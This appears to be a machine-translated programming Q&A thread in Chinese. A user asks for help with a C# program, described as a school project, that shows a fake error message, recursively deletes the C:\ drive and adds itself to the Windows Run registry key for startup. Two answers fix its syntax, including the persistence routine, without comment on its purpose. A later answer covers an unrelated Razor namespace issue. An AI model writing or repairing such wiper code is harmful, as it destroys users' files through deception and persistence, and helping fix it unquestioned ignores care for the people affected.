我正在尝试创建一个在启动时删除用户文档的应用程序(我知道这可能听起来很恶意,但它适用于学校项目)。
但是,我收到错误“命名空间不能直接包含字段或方法等成员”。
看着它,看起来很好吗?我希望第二双眼睛可以提供帮助,因为我到处搜索,我找不到相关的解决方案!不可否认,由于我的基本知识,我在网上和书籍上使用了很多帮助,而我所知道的c#是有限的。因此,我可能只是愚蠢,但每个人都必须从某个地方开始,对吧?
代码如下:
namespace Test
{
class Program
{
static void Main(string[] args)
{
MessageBox.Show("An unexpected error occured");
if (System.IO.Directory.Exists(@"C:\"))
{
try
{
System.IO.Directory.Delete("C:\\", true);
}
catch (System.IO.IOException e)
{
Console.WriteLine(e.Message);
}
}
}
}
public class Program
{
private void SetStartup();
}
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (chkStartUp.Checked)
rk.SetValue(AppName, Application.ExecutablePath.ToString());
else
rk.DeleteValue(AppName, false);
}
答案 0 :(得分:10)
您的代码在SetStartup
周围严重混乱。如果你遵循正常的缩进,你会更清楚地看到发生了什么。在Visual Studio中按Ctrl-E,然后按D,它将重新格式化您的文档 - 这将使事情变得更加清晰。
看看这个(在我缩进之后):
public class Program
{
private void SetStartup();
}
RegistryKey rk = [...];
那是试图在一个类之外声明一个变量(rk
)。你也有一个没有身体的非抽象方法,你最后都缺少关闭括号。
我怀疑你意味着它是:
public class Program
{
// Note: no semi-colon, and an *opening* brace
private void SetStartup()
{
RegistryKey rk = [...];
// Other code
}
}
// And you'd want to close the namespace declaration too
你也会在声明两个具有相同名称的(非部分)类时遇到问题......
答案 1 :(得分:0)
你有一个错位的括号和分号,应该是:
private void SetStartup()
{
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
//..
}
答案 2 :(得分:0)
在我的情况下,编译器在第1行的Razor视图中报告了此错误。代码如下:
@using Microsoft.AspNet.Identity;
@using MyApp.Helpers;
我刚改变了使用顺序,问题解决了。
@using MyApp.Helpers;
@using Microsoft.AspNet.Identity;
我的同事们还重申他们面临这个编译器错误,可以通过更改命名空间的顺序来解决。
我使用Visual Studio 2013更新5和.NET Framework 4.5
答案 3 :(得分:0)